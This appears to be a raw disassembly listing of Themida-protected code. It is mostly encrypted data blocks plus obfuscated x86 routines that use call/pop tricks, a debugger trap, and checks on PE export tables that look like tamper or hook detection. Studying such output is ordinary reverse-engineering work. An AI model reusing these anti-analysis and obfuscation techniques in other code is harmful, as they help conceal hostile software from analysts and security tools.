		dd 66615ADFh, 262F4F4Ah, 9D6000D8h, 742CB065h, 0FE5A7EDBh
		dd 7F33B28Eh, 0E6105ADFh, 93B9031Ch, 0ABB15EFBh, 0F7265EFBh
		dd 0AA715ADFh, 5D3D611Ch, 0D959CF56h, 0C2BD5D0Eh, 0B8E6D28Ah
		dd 52C4D752h, 0CC885D09h, 0F4473C8Ah, 2A1EB35Ah, 8EFF71D8h
		dd 4E5BDE7Fh, 8F435A32h, 3030D80Bh, 305937BDh, 6A7ADFF7h
		dd 64D38538h, 0E983DBD9h, 58A4F305h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 7FC35242h, 198EA6DCh, 8BAA57A1h
		dd 0D1162995h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 3DB36E85h, 6F605BAh, 0BAFE281h
		dd 8D8B6A85h, 7D12B85h,	840FC00Bh, 4Eh,	2860Fh,	0DD8A0000h
		dd 4D0AB58Dh, 890F07D1h, 5, 0A84386B9h,	3B863h,	0B5290000h
		dd 7D12D6Dh, 6AE6FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0F5E80C3h, 0BE60DEBFh, 647D5891h
		dd 294061F9h, 0D10C85B5h, 6AC08B07h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0F54C353h
		dd 58Eh, 0A141BF00h, 0BD8350F9h, 7D13405h, 83097500h, 0D12849BDh
		dd 19740007h, 0C08B5350h, 403B8h, 11858900h, 8D07D120h
		dd 0D3E2179Dh, 5BD3FF07h, 49BD8358h, 7D128h, 53501774h
		dd 403B8h, 11858900h, 8D07D120h, 0D3DEB89Dh, 5BD3FF07h
		dd 55006A58h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0CE1B464Ch, 254DBD8Bh, 0BD0307D1h, 7D10759h
		dd 0B589C08Bh, 7D11AF1h, 78D8D61h, 8B07D690h, 0D132F19Dh
		dd 518D8907h, 8907D11Bh, 0D130A985h, 5585C707h,	807D12Dh
		dd 8A000069h, 3985C7C5h, 7D11Dh, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0D2E6C357h
		dd 0AE6964A7h, 5CC4A26h, 0BD1625BEh, 65B5FF2Eh,	6A07D11Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 103EC357h, 0CF675BF6h, 1BC5773h, 0D124D9BDh
		dd 195FF07h, 8007D118h,	6AFFCEh, 5595FFh, 0C08B07D1h, 0E47A39EBh
		dd 0FE421FCCh, 80A4676Ah, 92C7B509h, 70C3B137h,	0B1022938h
		dd 16F1B920h, 0BAF6A1h,	8206FA7Ch, 9D955A06h, 5FCA2D01h
		dd 7B4CCAA8h, 0A09F6301h, 0E70A6BA9h, 0E90E0335h, 7Fh
		dd 721FA24Bh, 646E6957h, 2073776Fh, 43205058h, 6B636568h
		dd 42206465h, 646C6975h, 766E4520h, 6E6F7269h, 746E656Dh
		dd 70202D20h, 206C7265h, 74736574h, 6C702Eh, 11h dup(0)
		dd 0E9000000h, 0E8Ah, 0D6929968h, 0C819E907h, 0AA68FFFBh
		dd 0E907D693h, 0FFFBC80Fh, 0D6953968h, 0C805E907h, 7868FFFBh
		dd 0E907D695h, 0FFFBC7FBh, 0D6964368h, 0C7F1E907h, 0C268FFFBh
		dd 0E907D696h, 0FFFBC7E7h, 0D69A7068h, 0C7DDE907h, 0FA68FFFBh
		dd 0E907D69Ch, 0FFFBC7D3h, 0D69DD968h, 0C7C9E907h, 0AD06FFFBh
		dd 5F50307Dh, 189676C3h, 0D1DBBB08h, 941EFE4Bh,	6B944794h
		dd 0DC29FFB3h, 2471B5FCh, 68B56944h, 0AFFC2888h, 113EBD49h
		dd 0B57225A0h, 822E84E5h, 5F5131A2h, 8EA378C5h,	0C6088713h
		dd 86722205h, 891909A6h, 92901DFDh, 22053A13h, 6AFA8A72h
		dd 14A02C9Dh, 2205B895h, 0AF7C0C72h, 22051B30h,	0A7EA4872h
		dd 0B1F20D57h, 7DFBD453h, 0BB4B7222h, 1A40871h,	0CE90B034h
		dd 5319B028h, 0B8000000h, 90A43882h, 5C8AA761h,	2AB1BA8Fh
		dd 7A631F9Eh, 57E37222h, 227AF7D8h, 4CCB5772h, 72227A03h
		dd 13A333C3h, 1D0BA787h, 6B60DF50h, 7872227Ah, 0A787D71Ah
		dd 16A61705h, 55A5C549h, 12EB029h, 0A2000001h, 0CFD75258h
		dd 0CFE346FAh, 0C858E859h, 822E9AFBh, 615131A2h, 79EA3877h
		dd 8E859E9h, 632CC2A8h,	228B91C5h, 6F412192h, 0D7153AB9h
		dd 29B975F3h, 4BCD4C99h, 0A075F3D3h, 3AEEC410h,	337D5DAAh
		dd 86AB80F1h, 0AD3DE3CBh, 0C07CA221h, 40D07222h, 44D8D4B4h
		dd 38B743D3h, 7222C017h, 0D5A27B7h, 1CA83338h, 48850490h
		dd 0FC7222C0h, 94A7226Ch, 0C1B02AA2h, 12EC75F4h, 0D06075F1h
		dd 9428FA44h, 56C99D61h, 951DFD89h, 29BD0793h, 200E0B5h
		dd 911D6A37h, 0F25C1347h, 79467DCDh, 680F1999h,	0D05F4F21h
		dd 2883E758h, 9500000Ch, 0DFBF0C1Eh, 250552D0h,	6A4A9789h
		dd 0AD8DDA42h, 23D62305h, 0B87042FAh, 268B6Bh, 44DAD3B3h
		dd 8B9917F7h, 0CD4CD83Eh, 7225A380h, 82137444h,	4D209038h
		dd 34010EC0h, 7DCA5E54h, 3515139Dh, 2728A779h, 0A775F3D6h
		dd 0D6B39C1Bh, 831375F3h, 0B51663F3h, 1DA93039h, 53E5D4D3h
		dd 6BF72546h, 0F379E3ECh, 6D36375h, 519FFB7Ah, 48287222h
		dd 0D9D9B965h, 0B3FD824Fh, 56FC76FDh, 0EF317D40h, 0CE5EEE7Eh
		dd 0E3F5DE5Dh, 0B2FE7222h, 0F6750172h, 7222E3D9h, 0B5FDDD6Dh
		dd 49A70273h, 6CCAB206h, 0CEC1E129h, 0AD4AB028h, 0E9000000h
		dd 31A2822Eh, 56C76151h, 0F3353DD7h, 0AA7A3675h, 0B287D15Dh
		dd 4F11D1ABh, 931DFDCAh, 8A250591h, 0CA972798h,	0F46F8459h
		dd 4335E968h, 9997222h,	625030BCh, 6887CC6h, 0FD832FDh
		dd 0DD446D42h, 7566D251h, 0FFDF75F1h, 23A875B3h, 28B86E43h
		dd 32F6BC9Ch, 7BAD05E5h, 5F7B7BD4h, 96DDED0h, 0B17h, 0AEFB2F84h
		dd 0F441E1CEh, 39869A14h, 7CC95359h, 0C512169Ch, 8131ED12h
		dd 377A5AA7h, 0EBC2A2EFh, 0AA06E633h, 3BC72D7Ah, 25A293BCh
		dd 2633372h, 130BA282h,	654512A2h, 6F60DF4Dh, 0DF75F331h
		dd 9272BF4Fh, 58B9061Eh, 31A2822Eh, 39C55F51h, 31212EADh
		dd 644A75F3h, 2CAB37BCh, 75F33123h, 0B68313A3h,	49F9469h
		dd 1B71F978h, 45D57222h, 1B7C55D4h, 0F6D7222h, 766484CCh
		dd 7EDB029h, 8C000000h,	770AAh,	30394900h, 0A49E1DA9h
		dd 28722203h, 69472798h, 228E6EBBh, 13129102h, 62156620h
		dd 931DC104h, 41B26C41h, 0F4D421B1h, 6BF768BCh,	73FF258Bh
		dd 6620DBF4h, 0EDB6B15h, 6620BB8Fh, 3E81DF15h, 7D45A4EEh
		dd 0A40D0B44h, 6BB9F7D7h, 0B2723E1Eh, 0D7D5B541h, 0C948D445h
		dd 1566D184h, 5B28B848h, 992E0ADCh, 0CC0F6DEAh,	644C8828h
		dd 0F1B49806h, 49D9E160h, 466848D8h, 1DFD4ADAh,	4B209193h
		dd 0A32FBB26h, 0A6B79817h, 3717EA99h, 4C19A977h, 48B0A1CDh
		dd 6E3E1EEDh, 0CC5CE1AEh, 0A88EC47Fh, 8C1883h, 469AD1B6h
		dd 481E86C7h, 6CB646EDh, 59264B1Dh, 992344DAh, 0CA7808EAh
		dd 0D3535E3Eh, 0C3B18706h, 0ACC53489h, 202AA935h, 0A43358EFh
		dd 0A5CEA314h, 0F433B23Eh, 51348C49h, 76E74171h, 0B49419E6h
		dd 0E9A2AFEh, 16A2822Eh, 35A67636h, 55C65855h, 1B6835C5h
		dd 8AF753Bh, 8EE247E5h,	88076BDCh, 0F5000009h, 3F1F6CBEh
		dd 8565B270h, 0CAAAF729h, 0DED3AE2h, 833683A5h,	1810A29Ah
		dd 60C6EBCBh, 0A47A3313h, 0EB397757h, 2DAC389Eh, 7225A420h
		dd 2E73D4A4h, 0D6FBA282h, 0C1D061BFh, 949EC50h,	0FDB60000h
		dd 0AF00E02Dh, 68462673h, 218B6BB8h, 0E4CEAEFBh, 0DB44F744h
		dd 8CD94F63h, 0D42105ACh, 1865B9F4h, 5FAC7838h,	0E1EE6DF9h
		dd 657225A4h, 822E3495h, 615131A2h, 31034CCBh, 33C375F3h
		dd 0B79B56A3h, 63EF6A7Fh, 83CC4BD7h, 4375F331h,	46D64C63h
		dd 64FA79h, 55E17222h, 2200F9D6h, 67BFF272h, 51E166F6h
		dd 0C16FFF84h, 9F59CC42h, 149979B3h, 3C09990Ah,	4BD74267h
		dd 9BB433BFh, 0D0B39F59h, 2CBC41DDh, 75EAE05Fh,	0CA5AB44Eh
		dd 0F46F8459h, 0B0FCDC68h, 9E6BFB6Ch, 9AD3C01Fh, 4B337DB3h
		dd 4EDB0AEAh, 7E0E9360h, 859D12F2h, 12557AF9h, 69F9B39Ah
		dd 8030109Ch, 397757A4h, 9C1544EBh, 138409F8h, 87EAFh
		dd 62C8EB00h, 0A87A3515h, 0ED337B5Bh, 30ECC0A0h, 79AF03E3h
		dd 9884792Ch, 0E1C10E1Ah, 290956D0h, 6D4D9A84h,	2E94E143h
		dd 0A72A23A2h, 0CA9A7225h, 0A2822E69h, 0C25C5131h, 31B9F675h
		dd 260675F3h, 0F7CC9989h, 5CDB67F2h, 7225A139h,	4D82018Dh
		dd 17225A1h, 20918B21h,	0E4700090h, 2B78AC04h, 4EBF654Bh
		dd 73E4446Eh, 29B9DE7h,	0E0B4638Eh, 0A47A3313h,	8B76FCFDh
		dd 0DA3EAFC8h, 7FFh, 96E3476Ch,	0DC29F9B6h, 216EB2FCh
		dd 64B16B41h, 0ADFA2E84h, 991905FAh, 4F62428Fh,	3AA8AD7h
		dd 0C2EECE1Bh, 23AF1562h, 25A7ABA4h, 0EA4B1B72h, 31A2822Eh
		dd 0B59A19A5h, 1975F331h, 0D4DCBC89h, 0B938C450h, 75F33194h
		dd 6ADBA838h, 8CFD258Ah, 69EE9042h, 5C3C0207h, 8B5DCE52h
		dd 0E596EA2Dh, 14ECD59h, 0C575F3A5h, 0C70A6835h, 0C5DD8D23h
		dd 0E6B3C41Ch, 0AB2F7C0Ch, 0B7FA198Bh, 46014h, 3039B300h
		dd 0FB9E1DA9h, 4B7225A1h, 614F2FBBh, 8CA176C3h,	6325A415h
		dd 800B49CDh, 0E1C3AAF4h, 0A7599BEh, 4C9CDF3Dh,	7CD7FD02h
		dd 0DCA95E7Ah, 408B3858h, 39C139h, 39600000h, 0A221AD34h
		dd 75F331ADh, 3639D01Ah, 0ED688638h, 5DED5EC0h,	0EB7B00CDh
		dd 5892FB7Ah, 71CF5594h, 33C6E62Eh, 79599793h, 8C22EF39h
		dd 7, 1FFAA2Bh,	39490000h, 0A625B134h, 75F331A9h, 0C10E8D1Dh
		dd 8575F331h, 0E5EA69F5h, 6975F331h, 59D849D9h,	0C9F5D3Fh
		dd 36A77B34h, 59CA5A56h, 0B3074AA8h, 0E22A6DCBh, 3E8E34C2h
		dd 334Bh, 3439EA00h, 40D0525Dh,	89F943CFh, 9E9BF825h, 190DA484h
		dd 0CC4B18A8h, 0C9F0DB7h, 0CB1356B4h, 3E8E60ABh, 1A33B23Eh
		dd 0AA0C9F75h, 65B74D1Ah, 56000000h, 21AD3439h,	36B56B41h
		dd 75F33119h, 0C08D1DADh, 3198B534h, 9C2C75F3h,	17967602h
		dd 39069607h, 38B0EFEFh, 2F4F97DAh, 0B8B7FA59h,	34h, 0EA28257h
		dd 7B744916h, 3A7454E0h, 0E8D19E6h, 75F331C3h, 0DFB3983h
		dd 568F9DE6h, 232DE8C6h, 0A6EE318Fh, 0B7FA3A86h, 70Fh
		dd 2EAAAE00h, 49000001h, 0DDAAh, 34394900h, 5FD0525Dh
		dd 0FF5B0815h, 33C3776Ah, 0C5B332A3h, 2620A36Bh, 1D3D85C8h
		dd 0A662AA42h, 8Ah, 535CD01Ah, 61AFB8D9h, 34393394h, 0ADA221ADh
		dd 2175F331h, 88A12091h
		dd 0D955D31Ch, 0D0F0387Bh, 5997DA73h, 5Ch, 63C5EDCDh, 2B8262F2h
		dd 25F282F3h, 0AD3439C4h, 0FCB59521h, 0AA29B92Ah, 75F331A5h
		dd 40CC9929h, 0F3318CC1h, 2EAD3975h, 75F33121h,	0A8915A5h
		dd 75F331C5h, 0A72CF989h, 227A617h, 5F18D31Ch, 0E26EBE01h
		dd 0D31C6A63h, 7D4ADA18h, 0DA6FD9F9h, 228C6C4Ah, 79B31FEh
		dd 3A000000h, 7CAAh, 822E4900h,	98B231A2h, 0D175F331h
		dd 0F3D344DEh, 2FC0ADBDh, 0C0967787h, 0D2DFBF30h, 3A7DDB54h
		dd 82C523E6h, 552D2DEh,	77432F79h, 37248442h, 0A282096Ah
		dd 39EDC40Ch, 5EA838A9h, 2497C4B2h, 3B10DDC5h, 0D11BA732h
		dd 2A8DB892h, 6C4A176Eh, 70AC00E0h, 8F5BE8A3h, 98ABEE31h
		dd 2175F33Ch, 0FA8F7C9Dh, 0FEEC05B7h, 82A4FFFFh, 0A1120AA2h
		dd 0C334EEC1h, 72D6A333h, 1F1h,	0A2822E11h, 0C55F5131h
		dd 138EA378h, 5C60887h,	0F6867222h, 12AFF985h, 60C3D1FCh
		dd 272CAB78h, 4472222Eh, 3B5BA3E6h, 0C4B0297Dh,	3Fh, 0CA28263h
		dd 0A76CBA5Ah, 0FB8BD4F2h, 582DFA8Ah, 0BD3CC853h, 722280DDh
		dd 0F170E171h, 722280D8h, 2068AB09h, 0B028EF00h, 9A89h
		dd 0A9B3FD00h, 0BE29603Dh, 800647C6h, 36C67222h, 2E78D9A6h
		dd 5131A282h, 7656C761h, 9979EA3Ah, 32F4BD17h, 54A131C1h
		dd 0F33533D5h, 0B0783875h, 0F3351C31h, 9020B075h, 0AC2BB743h
		dd 75F335A3h, 0F1C69323h, 56D561F8h, 7220EA60h,	0E8C854E4h
		dd 31115ECAh, 0F500A781h, 0BCC88DE4h, 451E74Bh,	0F5BE0000h
		dd 0A708E835h, 604E2E7Bh, 199373C0h, 0DCD6B603h, 0D34CFF4Ch
		dd 94E1476Bh, 0DC29FDB4h, 206DB1FCh, 67B47040h,	0D9F67501h
		dd 6D7225ABh, 842E3C9Dh, 397757A4h, 2E3D9EEBh, 5131A282h
		dd 0A378C55Fh, 7837178Eh, 31222BAAh, 12A275F3h,	9616F682h
		dd 0AE2DB986h, 72222780h, 0CE505D3Dh, 7B00CD5Dh, 0A4EE7AEBh
		dd 467EF187h, 0B130FD34h, 7222EE9Ah, 0C45DA0FEh, 29A834AFh
		dd 75F3F805h, 21AD39C9h, 0F3F8ADA2h, 0C4912175h, 1289A277h
		dd 688C0786h, 0B0407225h, 666A4424h, 0D767D848h, 5C7BFA47h
		dd 95722568h, 55B90618h, 59h, 31BA8FF4h, 0B3BA75F3h, 0B3FBDB28h
		dd 9070FC6Dh, 29FDB420h, 0CB9828B8h, 0F331034Ch, 4C8FED75h
		dd 0CD1A06A8h, 0ED5EC0EDh, 7956D561h, 0CD75F331h, 0D9F1703Dh
		dd 4275F331h, 7151A1E4h, 0F98E23Ch, 0CE140E68h,	2B82622Fh
		dd 3A1AA6F3h, 0A84EF375h, 6A17D905h, 0CD969DAh,	9F7F2EABh
		dd 0BF5F4E2Eh, 31119D4Eh, 7CDAA781h, 6189539h, 23ED3AB9h
		dd 0D25675F3h, 0B7FA8AB1h, 0FFFF843Ah, 0E1CEAEFFh, 7340D041h
		dd 0CA28212h, 49674714h, 41D14621h, 0EA41F3Fh, 89FA8A1Ah
		dd 0E3CD07A9h, 0B040D041h, 81C5DA24h, 0B02FFFC4h, 2A0A96E3h
		dd 9C2C9D85h, 6AF1FACFh, 476F5FDEh, 95DF7222h, 77175620h
		dd 1F9020E6h, 22B8ABA0h, 35F1C072h, 57CBE4C4h, 6FB210E6h
		dd 0AC3CE2CBh, 0DB2366C4h, 0B02913BBh, 4544h, 3882E300h
		dd 1C4D2C90h, 3D8A512h,	948A23EEh, 77039323h, 0EA636CEBh
		dd 53E375F3h, 1F7BFA86h, 0AF7222C2h, 9622AE1Fh,	22C23617h
		dd 0AC723B72h, 4BCA9727h, 7222C206h, 7AC20563h,	0B028AD5Ah
		dd 0F6E3h, 822E8200h, 32C25A52h, 57D1E1C1h, 7AAA06E6h
		dd 2F9F0EEEh, 0A011A17Fh, 0A17D3010h, 2D8363D4h, 0E92BAAF7h
		dd 275F335h, 5EEA76AEh,	0F335EEDFh, 53D25E75h, 75F3357Ah
		dd 0DDAA3ACAh, 0F9780490h, 75F335D4h, 0C91931Dh, 0E1CFAF7Ch
		dd 0BA46D243h, 0F335123Bh, 5522B275h, 75F46B80h, 75F33558h
		dd 40CC5CECh, 351835B4h, 1CAC75F3h, 5737C34Fh, 7EFDCA58h
		dd 72221544h, 562B7808h, 0BB3AC65Dh, 75F1F781h,	0CE4E5E3Eh
		dd 60EC7C01h, 0B548C416h, 925F1FB2h, 4C8C2606h,	0A430C064h
		dd 0BF92C25Ah, 1DEA1251h, 66C2F0D0h, 5F63B2BFh,	90F465D0h
		dd 1C7h, 5EAB7F34h, 0A4F1317Eh,	0E936EAC4h, 2C79A309h
		dd 75C2664Ch, 0D1E15DC2h, 872A0A57h, 3B72529Fh,	0FAB696E3h
		dd 0EB77DD2Ah, 25AD636Ch, 0B213E372h, 57A4842Eh, 11C7EBCBh
		dd 861687A1h, 674929F6h, 390F70BDh, 0CA84EF30h,	31320003h
		dd 0F49615A1h, 58722265h, 0F3D857C8h, 0F0722265h, 0E7074F92h
		dd 70B0294Ch, 0B7h, 0BA2820Fh, 31B79817h, 871775F3h, 99AADF7h
		dd 1DCBE46Dh, 0E4407050h, 91F9373h, 802C0C98h, 0CE9B2B9Ch
		dd 0F353B54Fh, 32F2BE75h, 79AB05E5h, 0A33E3308h, 73A29817h
		dd 92227222h, 99892606h, 0BB2CF6B9h, 3C115E2Bh,	0A120AC37h
		dd 75F1AD10h, 0C9824B4h, 0F1AD408Dh, 41003F75h,	0E02B47FFh
		dd 72FECB5Bh, 0BB082092h, 0AA51D7DBh, 0D05F7A93h, 0E871D546h
		dd 55000000h, 9F7FCC5Eh, 0E5C51210h, 2A0A57C9h,	6D4D9A82h
		dd 0E396E345h, 78B0023Ah, 0C0664B2Bh, 41A9373h,	4BD9D7B7h
		dd 8D0C98FEh, 7225AC40h, 2ED33404h, 7757A484h, 129EEB39h
		dd 32A37B32h, 2E74D5A2h, 5131A282h, 0A378C55Fh,	0FB87138Eh
		dd 0C390961Bh, 25A14544h, 83290972h, 2BBB6549h,	299A2ABAh
		dd 70BD6749h, 93042090h, 0EC9CA114h, 0BC48D407h, 0DC4DD1DCh
		dd 9C80CD4Ch, 0B44407ECh, 0A24689E7h, 0AA8A160Eh, 3501D05h
		dd 0B978D23h, 9CCF007Fh, 0EF7F07ECh, 4525B122h,	6D46FD69h
		dd 0B9EC0041h, 5B28B829h, 2D31317Bh, 0DD472C1Fh, 17F768F8h
		dd 3A1A8B99h, 0B13DAE76h, 0ECA11D32h, 4B21B107h, 0FB56AAEDh
		dd 0FAB65A9Dh, 0F4BE9E2Ah, 3A1A6734h, 0D93DAE76h, 0Fh
		dd 0E1436D4Dh, 0B200E070h, 0A8750576h, 2E5FC047h, 5434A585h
		dd 7757C85Ch, 9777E836h, 0BB9B0C1Ah, 0E0C031F7h, 5E556D2h
		dd 240475A7h, 4525968Ah, 0AB47B86Ah, 81E38953h,	4C3h, 4EB8300h
		dd 31241C33h, 1C33241Ch, 4F685C24h, 8900004Ch, 89532414h
		dd 4C381E3h, 83000000h,	1C8704EBh, 3C895C24h, 91286824h
		dd 148B07D6h, 4C48124h,	54000000h, 81243C8Bh, 4C4h, 0D1895100h
		dd 8BB53h, 0FB010000h, 595B0B89h, 5F2434FFh, 0FF04C483h
		dd 835A2434h, 0A0E904C4h, 0E0FFFBB9h, 655F3D36h, 0E6B8CCBEh
		dd 307D69Eh, 9AE0FFC5h,	0FB0DDB17h, 7578073Ch, 1804833Fh
		dd 28059560h, 7B169BA9h, 3D28ACCAh, 0B236A5F7h,	9869B162h
		dd 21735797h, 5622A020h, 38683CAAh, 0DF5FE043h,	41D853Eh
		dd 0BA432972h, 664CDC7Fh, 256C0C41h, 0E67F8E8Eh, 0C190E6Eh
		dd 2C424327h, 0E15525F1h, 15312FDCh, 2111D529h,	0E9733179h
		dd 0F32F9015h, 1F669BA7h, 2334502Dh, 0C46DBB15h, 832BDC06h
		dd 0E87FBE86h, 0Ah, 6D70BE41h, 69220CDCh, 0BE6666ECh, 0E85A77F6h
		dd 14h,	0F725B1C1h, 7D3B9050h, 0F881ACEBh, 29A8946Dh, 428C2A12h
		dd 0AE9h, 2B50200h, 0A58A98C5h,	5EE5C804h, 60B1C281h, 7BE0000h
		dd 0BF219D18h, 0
; ---------------------------------------------------------------------------
		movsx	ecx, dx


loc_5E0663:				; CODE XREF: Themida_:005E06B7j
		push	dword ptr [edi+edx]
		mov	si, di
		pop	eax
		jz	loc_5E0672
		mov	bl, ch


loc_5E0672:				; CODE XREF: Themida_:005E066Aj
		add	eax, 39006913h
		push	ecx
		mov	ecx, eax
		pop	ebx
		add	eax, 42DE9C0Eh
		jz	loc_5E068B
		movzx	ecx, ax


loc_5E068B:				; CODE XREF: Themida_:005E0682j
		add	eax, 7076CD6Eh
		pusha
		movsx	eax, ax
		popa
		mov	[edx+edi], eax
		movzx	ecx, bx
		movzx	esi, bx
		sub	edi, 1
		push	ebx
		and	cx, 3586h
		pop	esi
		dec	edi
		dec	edi
		dec	edi
		push	eax
		mov	bx, ax
		pop	ebx
		cmp	edi, 0FFFF9FFCh
		jnz	loc_5E0663
		jmp	loc_5E06C9
; ---------------------------------------------------------------------------
		dw 9E0Fh
		dd 20CBC0Ah
		db 0F6h
; ---------------------------------------------------------------------------


loc_5E06C9:				; CODE XREF: Themida_:005E06BDj
		lea	ecx, [ebp+7D6A120h]
		sub	eax, [ebp+7D11C6Dh]
		cmc
		mov	[ebp+7D11B51h],	ecx
		add	edx, [ebp+7D12E01h]
		mov	dword ptr [ebp+7D12D55h], 5F5Ch
		jle	loc_5E06F4
		mov	dl, al


loc_5E06F4:				; CODE XREF: Themida_:005E06ECj
		mov	dword ptr [ebp+7D11D39h], 0
		push	0
		push	eax
		call	sub_5E0709
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E0709	proc near		; CODE XREF: Themida_:005E0701p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5E0709	endp

; ---------------------------------------------------------------------------
		adc	[edi+ecx], bl
		mov	[edi-7Fh], ch
		pop	ecx
		mov	si, dx
		mov	eax, [ebp+7D12B9Dh]
		push	dword ptr [ebp+7D1068Dh]
		push	0
		push	edi
		call	sub_5E073A
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E073A	proc near		; CODE XREF: Themida_:005E0732p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5E073A	endp

; ---------------------------------------------------------------------------
		pop	ss
		fdivr	st, st(7)
		xchg	eax, ebp
		add	[eax], ebx
		rol	dword ptr [edi], 1
		mov	dx, ax
		mov	dl, 0EEh
		push	0
		call	dword ptr [ebp+7D10055h]
		mov	eax, eax
		jmp	short loc_5E07B2
; ---------------------------------------------------------------------------
		db 2Dh
		dd 6C4D94F0h, 6102EF8h,	1EBF4678h, 268BC9A4h, 3ED15D0Dh
		dd 4FA404B1h, 0A333E218h, 2C7B092Eh, 69039EA6h,	0CAE63B43h
		dd 0DF06C15Ah, 21DA2582h, 2C2FEC80h, 0EEB4677Ah, 8ED512A2h
		dd 1676430Eh, 9C2F5C88h, 0E1045C2Fh, 86EE903Dh
		db 6Ch,	0EBh
; ---------------------------------------------------------------------------


loc_5E07B2:				; CODE XREF: Themida_:005E0761j
		lea	ecx, [ebp+7D6A23Fh]
		mov	[ebp+7D10781h],	edx
		mov	[ebp+7D11B51h],	ecx
		mov	si, 0BAA5h
		mov	dword ptr [ebp+7D12D55h], 688Ch
		push	0
		push	ebp
		call	sub_5E07DD
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E07DD	proc near		; CODE XREF: Themida_:005E07D5p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5E07DD	endp

; ---------------------------------------------------------------------------
		db 3Dh,	3Fh, 71h
		dd 0B04F2CF2h, 85C770FFh, 7D11D39h, 0
; ---------------------------------------------------------------------------
		and	eax, [ebp+7D12B7Dh]
		push	dword ptr [ebp+7D11C21h]
		push	0
		push	eax
		call	sub_5E0817
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E0817	proc near		; CODE XREF: Themida_:005E080Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5E0817	endp

; ---------------------------------------------------------------------------
		imul	ecx, [ecx], 7Eh
		adc	[esi], eax
		scasd
		push	edi
		cwde
		int	3		; Trap to Debugger
		sub	[ebp+7D12061h],	esi
		jmp	loc_5E0846
; ---------------------------------------------------------------------------
		db 0A1h
		dd 0B727D266h, 14708F7Dh
		db 0F3h, 0D8h
; ---------------------------------------------------------------------------


loc_5E0846:				; CODE XREF: Themida_:005E0836j
		call	dword ptr [ebp+7D11801h]
		push	0
		push	edx
		call	sub_5E0857
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E0857	proc near		; CODE XREF: Themida_:005E084Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5E0857	endp

; ---------------------------------------------------------------------------
		sahf
		cmp	eax, 86ADF3B7h
		popa
		pop	ebp
		popf
		mov	[ebp+7D11AC1h],	esi
		push	0
		call	dword ptr [ebp+7D10055h]
		mov	eax, eax
		jmp	short loc_5E08DF
; ---------------------------------------------------------------------------
		dw 9E9Dh
		dd 0BA4ABC48h, 0A924BF6Ch, 0B833B187h, 858D444h, 4CC8558Fh
		dd 4920E171h, 0F4917A8Eh, 0A7853A9Bh, 6D9920D1h, 8610AE6Bh
		dd 38FCC5AEh, 74A7A215h, 577068B6h, 0ACDDFF73h,	0E187D913h
		dd 0F89E4D5Eh, 8901E160h, 0BDDC0C76h, 0D8BFB08Fh, 0EC7A0B3Ch
		dd 0DEC0D249h, 8D120AACh
; ---------------------------------------------------------------------------
		retn	3662h
; ---------------------------------------------------------------------------


loc_5E08DF:				; CODE XREF: Themida_:005E0880j
		jmp	loc_5E0994
; ---------------------------------------------------------------------------
		pusha
		mov	dx, ds
		test	dl, 4
		jnz	loc_5E08FD
		cmp	eax, [ebp+7D11CC9h]
		jz	loc_5E0933


loc_5E08FD:				; CODE XREF: Themida_:005E08EBj
		cmp	eax, [ebp+7D130F9h]
		jz	loc_5E0933
		cmp	eax, [ebp+7D12D09h]
		jz	loc_5E0933
		cmp	eax, [ebp+7D11111h]
		jz	loc_5E0933
		cmp	dword ptr [ebp+7D1158Dh], 1
		jz	loc_5E0933
		jmp	loc_5E0992
; ---------------------------------------------------------------------------


loc_5E0933:				; CODE XREF: Themida_:005E08F7j
					; Themida_:005E0903j ...
		mov	edx, eax
		add	edx, [edx+3Ch]
		mov	edi, [edx+88h]
		mov	ecx, [edx+78h]
		test	ecx, ecx
		jz	loc_5E0992
		add	edx, 0F8h
		mov	esi, [edx+0Ch]
		add	ecx, eax
		mov	ebx, [ecx+1Ch]
		mov	edx, [ecx+14h]
		add	ebx, eax


loc_5E095C:				; CODE XREF: Themida_:005E097Aj
		mov	ecx, [ebx]
		test	ecx, ecx
		jz	loc_5E0976
		cmp	ecx, esi
		jb	loc_5E0985
		cmp	ecx, edi
		jnb	loc_5E0985


loc_5E0976:				; CODE XREF: Themida_:005E0960j
		add	ebx, 4
		dec	edx
		jnz	loc_5E095C
		jmp	loc_5E0992
; ---------------------------------------------------------------------------


loc_5E0985:				; CODE XREF: Themida_:005E0968j
					; Themida_:005E0970j
		lea	ebx, [ebp+7D14D0Ah]
		mov	eax, 5
		jmp	ebx
; ---------------------------------------------------------------------------


loc_5E0992:				; CODE XREF: Themida_:005E092Ej
					; Themida_:005E0943j ...
		popa
		retn
; ---------------------------------------------------------------------------


loc_5E0994:				; CODE XREF: Themida_:loc_5E08DFj
		or	edx, eax
		lea	ebx, [ebp+7D12A6Dh]
		mov	eax, 0CEh
		mov	[ebp+7D1074Dh],	eax
		call	$+5
		pop	eax
		add	eax, 0Dh
		mov	[ebx], eax
		jmp	loc_5E0A87
